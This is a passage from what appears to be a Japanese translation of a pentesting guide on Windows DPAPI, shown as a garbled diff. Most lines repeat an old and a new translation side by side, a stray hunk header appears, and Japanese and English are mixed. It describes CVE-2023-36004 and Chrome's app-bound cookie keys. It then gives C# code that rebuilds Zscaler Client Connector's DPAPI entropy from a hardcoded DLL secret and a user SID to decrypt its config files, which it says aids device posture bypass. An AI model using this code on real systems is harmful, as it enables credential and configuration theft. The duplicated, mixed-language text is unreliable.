* **CVE-2023-36004 Windows DPAPI Secure Channel Spoofing** (2023年11月)。ネットワークアクセスを持つ攻撃者がドメインメンバーを騙して悪意あるDPAPIバックアップキーを取得させ、ユーザーマスターキーを復号可能にする可能性がありました。2023年11月の累積更新で修正されています — 管理者はドメインコントローラ(DC)およびワークステーションが完全にパッチ適用されていることを確認する必要があります * **CVE-2023-36004 Windows DPAPI Secure Channel Spoofing** (2023年11月)。ネットワークアクセスを持つ攻撃者がドメインメンバーを欺いて悪意ある DPAPI バックアップキーを取得させ、ユーザーマスターキーを復号できる可能性がありました。2023年11月の累積アップデートで修正済み — 管理者は DC およびワークステーションが完全にパッチ適用されていることを確認してください
* **Chrome 127 “App-Bound” cookie encryption** (2024年7月) は従来のDPAPIのみの保護を置き換え、ユーザの **Credential Manager** に保存される追加のキーを導入しました。クッキーのオフライン復号には現在、DPAPIマスターキーと **GCM-wrapped app-bound key** の両方が必要です。SharpChrome v2.3 と DonPAPI 2.x はユーザコンテキストで実行すると追加キーを回復できます。 * **Chrome 127 “App-Bound” cookie encryption** (2024年7月) は従来の DPAPI のみの保護に代わり、ユーザーの **Credential Manager** に格納された追加のキーを導入しました。クッキーのオフライン復号には現在、DPAPI マスターキーと **GCM-wrapped app-bound key** の両方が必要です。SharpChrome v2.3 および DonPAPI 2.x は、ユーザーコンテキストで実行すると追加キーを回復できます。
### ケーススタディ: Zscaler Client Connector SIDから導出されるカスタムエントロピー ### 事例: Zscaler Client Connector SID から導出されるカスタムエントロピー
Zscaler Client Connector は `C:\ProgramData\Zscaler` に複数の設定ファイル(例: `config.dat`, `users.dat`, `*.ztc`, `*.mtt`, `*.mtc`, `*.mtp`)を格納します。各ファイルは **DPAPI (Machine scope)** で暗号化されていますが、ベンダーはディスク上に保存されるのではなく *実行時に計算される* **カスタムエントロピー** を提供します。 Zscaler Client Connector は `C:\ProgramData\Zscaler` に複数の設定ファイル(例: `config.dat`, `users.dat`, `*.ztc`, `*.mtt`, `*.mtc`, `*.mtp`)を保存します。各ファイルは **DPAPI (Machine scope)** で暗号化されていますが、ベンダーはディスクに保存する代わりに実行時に*計算される* **custom entropy** を提供します。
エントロピーは次の2つの要素から再構築されます: エントロピーは次の2要素から再構築されます:
1. `ZSACredentialProvider.dll` に埋め込まれたハードコードされたシークレット。 1. `ZSACredentialProvider.dll` に埋め込まれたハードコードされたシークレット。
2. その設定に属するWindowsアカウントの **SID** 2. 設定が属する Windows アカウントの **SID**
DLL に実装されているアルゴリズムは次と等価です DLL によって実装されているアルゴリズムは次と等価です:
```csharp ```csharp
byte[] secret = Encoding.UTF8.GetBytes(HARDCODED_SECRET); byte[] secret = Encoding.UTF8.GetBytes(HARDCODED_SECRET);
byte[] sid = Encoding.UTF8.GetBytes(CurrentUserSID); byte[] sid = Encoding.UTF8.GetBytes(CurrentUserSID);
@ -327,15 +328,15 @@ byte[] entropy = new byte[tmp.Length / 2];
for (int i = 0; i < entropy.Length; i++) for (int i = 0; i < entropy.Length; i++)
entropy[i] = (byte)(tmp[i] ^ tmp[i + entropy.Length]); entropy[i] = (byte)(tmp[i] ^ tmp[i + entropy.Length]);
``` ```
シークレットがディスクから読み取れるDLLに埋め込まれているため、**SYSTEM 権限を持つ任意のローカル攻撃者は任意の SID に対するエントロピーを再生成できる**ので、ブロブをオフラインで復号できます: 秘密はディスクから読み取れるDLLに埋め込まれているため、**SYSTEM権限を持つ任意のローカル攻撃者は任意のSIDのエントロピーを再生成でき**、blobsをオフラインで復号できます:
```csharp ```csharp
byte[] blob = File.ReadAllBytes(@"C:\ProgramData\Zscaler\<SID>++config.dat"); byte[] blob = File.ReadAllBytes(@"C:\ProgramData\Zscaler\<SID>++config.dat");
byte[] clear = ProtectedData.Unprotect(blob, RebuildEntropy(secret, sid), DataProtectionScope.LocalMachine); byte[] clear = ProtectedData.Unprotect(blob, RebuildEntropy(secret, sid), DataProtectionScope.LocalMachine);
Console.WriteLine(Encoding.UTF8.GetString(clear)); Console.WriteLine(Encoding.UTF8.GetString(clear));
``` ```
復号すると、完全な JSON 構成が得られ、各 **デバイスのポスチャチェック** とその期待値を含みます — これはクライアント側のバイパスを試みる際に非常に価値のある情報です。 Decryption yields the complete JSON configuration, including every **device posture check** and its expected value information that is very valuable when attempting client-side bypasses.
> TIP: 他の暗号化されたアーティファクト (`*.mtt`, `*.mtp`, `*.mtc`, `*.ztc`) は DPAPI **without** entropy (`16` zero bytes) で保護されています。したがって SYSTEM 権限を取得すれば `ProtectedData.Unprotect` で直接復号できます。 > TIP: the other encrypted artefacts (`*.mtt`, `*.mtp`, `*.mtc`, `*.ztc`) are protected with DPAPI **without** entropy (`16` zero bytes). They can therefore be decrypted directly with `ProtectedData.Unprotect` once SYSTEM privileges are obtained.
## References ## References